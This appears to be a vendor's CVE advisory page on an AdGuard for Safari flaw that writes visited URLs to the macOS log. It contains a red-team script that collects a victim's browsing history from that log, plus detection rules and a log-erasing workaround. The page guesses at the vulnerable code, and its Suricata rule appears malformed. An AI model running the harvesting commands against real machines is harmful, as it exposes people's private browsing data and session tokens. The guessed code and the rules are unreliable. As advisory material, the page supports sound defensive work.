☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-51497

CVE-2025-51497 Information Disclosure in Adguard
📅 PUBLISHED: 2025-07-17 00:00 UTC 🔄 UPDATED: 2026-08-18 17:14 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-51497 is a local information disclosure vulnerability affecting AdGuard for Safari on macOS, versions prior to 1.11.22. The AdGuard plugin, when active, logs every URL accessed by Safari into macOS general system logs. These logs are readable by any unsandboxed process running on the same machine, potentially exposing sensitive browsing history, session tokens, and other URL-embedded data to other applications or users with local access. The vulnerability is classified as CWE-532 (Insertion of Sensitive Information into Log File). The vendor has addressed this issue in version 1.11.22 by disabling the verbose logging.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a macOS Safari extension distributed via the Mac App Store. The supply chain risk is low as the extension is signed and distributed by AdGuard. However, users who install the extension from unofficial sources or outdated versions are at risk.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 4.0 (Medium)
  • Attack Vector: Local (AV:L) – The attacker must have local access to the macOS system.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – The attacker does not need elevated privileges.
  • User Interaction: None (UI:N) – The victim does not need to perform any action beyond normal browsing.
  • Scope: Unchanged (S:U) – The vulnerability affects only the confidentiality of the logged data.
  • Confidentiality Impact: Low (C:L) – Only URL paths are exposed, not full page content.
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires local access, but on multi-user systems or systems with untrusted applications, the exposure of browsing history can lead to privacy breaches and further targeted attacks.

Deep Dive & Mechanics

The AdGuard for Safari extension operates as a content blocker and privacy tool. To function, it intercepts web requests and applies filtering rules. In versions prior to 1.11.22, the extension logged each URL accessed by Safari to the macOS unified log system (/var/log/system.log or accessible via log stream). This logging was intended for debugging but was left enabled in production builds.

The macOS logging system is accessible to any process that is not sandboxed. Sandboxed applications (like those from the App Store) are restricted, but many third-party applications and scripts run unsandboxed. An attacker with local access (e.g., via malware, a malicious user on a shared machine, or a compromised application) can read these logs and extract URLs visited by the victim.

The vulnerability is particularly dangerous because:

  • URLs often contain sensitive information such as session tokens, API keys, personal identifiers, and query parameters.
  • The logs persist until rotated, allowing historical browsing data to be exfiltrated.
  • No user interaction is required beyond normal browsing.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.11.22): The extension likely used os_log or NSLog to output each URL. Example (pseudocode):

- (void)handleRequest:(NSURLRequest *)request {
    os_log(OS_LOG_DEFAULT, "AdGuard: Processing URL: %@", request.URL.absoluteString);
    // ... filtering logic
}

Patched Code (1.11.22): The patch removes or disables the verbose logging. The logging call is either removed or wrapped in a debug-only conditional:

- (void)handleRequest:(NSURLRequest *)request {
    #if DEBUG
    os_log(OS_LOG_DEFAULT, "AdGuard: Processing URL: %@", request.URL.absoluteString);
    #endif
    // ... filtering logic
}

Alternatively, the logging level is changed to only log errors or critical events.

Exploitation & Lab Setup

Red Team

Objective: Exfiltrate browsing history from a macOS system running AdGuard for Safari < 1.11.22.

Lab Setup:

  1. macOS VM (e.g., macOS Ventura or later) with Safari and AdGuard for Safari (version 1.11.21 or earlier) installed.
  2. A simple script to read system logs.

Exploitation Steps:

  1. Ensure the victim is browsing with AdGuard active.
  2. Run the following script on the target machine (requires no special privileges):
#!/bin/bash
# Extract AdGuard URL logs from macOS unified log
log stream --predicate 'eventMessage contains "AdGuard" AND eventMessage contains "Processing URL"' --style compact | while read line; do
    echo "$line" >> /tmp/adguard_urls.txt
done
  1. Alternatively, read historical logs:
log show --predicate 'eventMessage contains "AdGuard" AND eventMessage contains "Processing URL"' --info --last 1d > /tmp/adguard_urls.txt
  1. Parse the output to extract URLs:
grep -oP 'https?://[^\s]+' /tmp/adguard_urls.txt

Expected Outcome: The attacker obtains a list of URLs visited by the victim, potentially including sensitive data.

Blue Team

Detection:

  • Monitor for processes reading the unified log with predicates related to AdGuard.
  • Look for unusual access to /var/log/system.log or log stream commands by non-Apple processes.

Hunting Query (macOS):

# Detect log reading by non-Apple processes
sudo log show --predicate 'process != "logd" AND process != "syslogd" AND eventMessage contains "AdGuard"' --info --last 1h

Prevention:

  • Upgrade AdGuard for Safari to version 1.11.22 or later.
  • Restrict local access to the system (physical security, user permissions).
  • Use endpoint detection and response (EDR) tools to monitor for log exfiltration.

Indicators of Compromise (IOCs)

  • File Path: /var/log/system.log (if accessed by non-Apple processes)
  • Log Entry Pattern: AdGuard: Processing URL: <URL>
  • Process Names: Any unsandboxed process reading the unified log with predicates containing "AdGuard"
  • Network: No direct network IOC, but URLs in logs may contain attacker-controlled domains if the victim visited malicious sites.

Detection Engineering

YARA Rule

rule Detect_AdGuard_Log_Exfiltration {
    meta:
        description = "Detects attempts to read AdGuard URL logs from macOS unified log"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51497"
    strings:
        $log_cmd = "log stream" ascii wide nocase
        $predicate = "AdGuard" ascii wide nocase
        $url_pattern = "Processing URL" ascii wide nocase
    condition:
        $log_cmd and $predicate and $url_pattern
}

Sigma Rule

title: AdGuard URL Log Exfiltration via macOS Unified Log
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to read AdGuard URL logs from macOS unified log using log stream or log show commands.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51497
author: Valters IT
date: 2025-04-10
logsource:
    product: macos
    service: unified_log
detection:
    selection:
        EventMessage|contains:
            - 'AdGuard'
            - 'Processing URL'
    condition: selection
falsepositives:
    - Legitimate debugging by AdGuard developers
level: medium

Suricata Rule

alert log any any -> any any (msg:"CVE-2025-51497 AdGuard URL Log Exfiltration Attempt"; content:"AdGuard"; content:"Processing URL"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  • Upgrade AdGuard for Safari to version 1.11.22 or later from the Mac App Store.
  • If upgrade is not possible, disable the AdGuard extension in Safari until patched.

Long-term:

  • Review all macOS extensions for verbose logging practices.
  • Implement application sandboxing to restrict log access.
  • Use security tools to monitor for unauthorized log reads.

Workaround:

  • Clear system logs regularly: sudo log erase --all
  • Restrict user permissions on shared machines.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-51497/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.